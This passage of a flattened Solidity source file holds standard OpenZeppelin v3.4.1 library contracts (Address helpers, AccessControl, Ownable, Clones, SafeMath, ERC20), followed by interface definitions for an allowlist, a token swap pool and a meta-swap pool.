return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts/utils/Context.sol@v3.4.1
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/AccessControl.sol@v3.4.1
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context {
using EnumerableSet for EnumerableSet.AddressSet;
using Address for address;
struct RoleData {
EnumerableSet.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
}
// File @openzeppelin/contracts/access/Ownable.sol@v3.4.1
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File @openzeppelin/contracts/proxy/Clones.sol@v3.4.1
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address master) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `master` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(master, salt, address(this));
}
}
// File @openzeppelin/contracts/token/ERC20/IERC20.sol@v3.4.1
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/math/SafeMath.sol@v3.4.1
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File @openzeppelin/contracts/token/ERC20/ERC20.sol@v3.4.1
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File contracts/interfaces/IAllowlist.sol
pragma solidity 0.6.12;
interface IAllowlist {
function getPoolAccountLimit(address poolAddress)
external
view
returns (uint256);
function getPoolCap(address poolAddress) external view returns (uint256);
function verifyAddress(address account, bytes32[] calldata merkleProof)
external
returns (bool);
}
// File contracts/interfaces/ISwap.sol
pragma solidity 0.6.12;
interface ISwap {
// pool data view functions
function getA() external view returns (uint256);
function getAPrecise() external view returns (uint256);
function getAllowlist() external view returns (IAllowlist);
function getToken(uint8 index) external view returns (IERC20);
function getTokenIndex(address tokenAddress) external view returns (uint8);
function getTokenBalance(uint8 index) external view returns (uint256);
function getVirtualPrice() external view returns (uint256);
function owner() external view returns (address);
function isGuarded() external view returns (bool);
function paused() external view returns (bool);
function swapStorage()
external
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256,
address
);
// min return calculation functions
function calculateSwap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx
) external view returns (uint256);
function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external
view
returns (uint256);
function calculateRemoveLiquidity(uint256 amount)
external
view
returns (uint256[] memory);
function calculateRemoveLiquidityOneToken(
uint256 tokenAmount,
uint8 tokenIndex
) external view returns (uint256 availableTokenAmount);
// state modifying functions
function initialize(
IERC20[] memory pooledTokens,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 a,
uint256 fee,
uint256 adminFee,
address lpTokenTargetAddress
) external;
function swap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy,
uint256 deadline
) external returns (uint256);
function addLiquidity(
uint256[] calldata amounts,
uint256 minToMint,
uint256 deadline
) external returns (uint256);
function removeLiquidity(
uint256 amount,
uint256[] calldata minAmounts,
uint256 deadline
) external returns (uint256[] memory);
function removeLiquidityOneToken(
uint256 tokenAmount,
uint8 tokenIndex,
uint256 minAmount,
uint256 deadline
) external returns (uint256);
function removeLiquidityImbalance(
uint256[] calldata amounts,
uint256 maxBurnAmount,
uint256 deadline
) external returns (uint256);
}
// File contracts/interfaces/IMetaSwap.sol
pragma solidity 0.6.12;
interface IMetaSwap {
// pool data view functions
function getA() external view returns (uint256);
function getToken(uint8 index) external view returns (IERC20);
function getTokenIndex(address tokenAddress) external view returns (uint8);
function getTokenBalance(uint8 index) external view returns (uint256);
function getVirtualPrice() external view returns (uint256);
function isGuarded() external view returns (bool);
function metaSwapStorage()
external
view
returns (
address baseSwap,
uint256 baseVirtualPrice,
uint256 baseCacheLastUpdated
);
// min return calculation functions
function calculateSwap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx
) external view returns (uint256);
function calculateSwapUnderlying(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx
) external view returns (uint256);
function calculateTokenAmount(uint256[] calldata amounts, bool deposit)
external
view
returns (uint256);
function calculateRemoveLiquidity(uint256 amount)
external
view
returns (uint256[] memory);
function calculateRemoveLiquidityOneToken(
uint256 tokenAmount,
uint8 tokenIndex
) external view returns (uint256 availableTokenAmount);
// state modifying functions
function initialize(
IERC20[] memory _pooledTokens,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _fee,
uint256 _adminFee,
address lpTokenTargetAddress
) external;
function initializeMetaSwap(
IERC20[] memory _pooledTokens,
uint8[] memory decimals,
string memory lpTokenName,
string memory lpTokenSymbol,
uint256 _a,
uint256 _fee,
uint256 _adminFee,
address lpTokenTargetAddress,
ISwap baseSwap
) external;
function swap(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy,
uint256 deadline
) external returns (uint256);
function swapUnderlying(
uint8 tokenIndexFrom,
uint8 tokenIndexTo,
uint256 dx,
uint256 minDy,
uint256 deadline
) external returns (uint256);
function addLiquidity(
uint256[] calldata amounts,
uint256 minToMint,
uint256 deadline
) external returns (uint256);
function removeLiquidity(
uint256 amount,
uint256[] calldata minAmounts,
uint256 deadline
) external returns (uint256[] memory);
function removeLiquidityOneToken(
uint256 tokenAmount,
uint8 tokenIndex,
uint256 minAmount,
uint256 deadline
) external returns (uint256);
function removeLiquidityImbalance(
uint256[] calldata amounts,
uint256 maxBurnAmount,
uint256 deadline
) external returns (uint256);
}
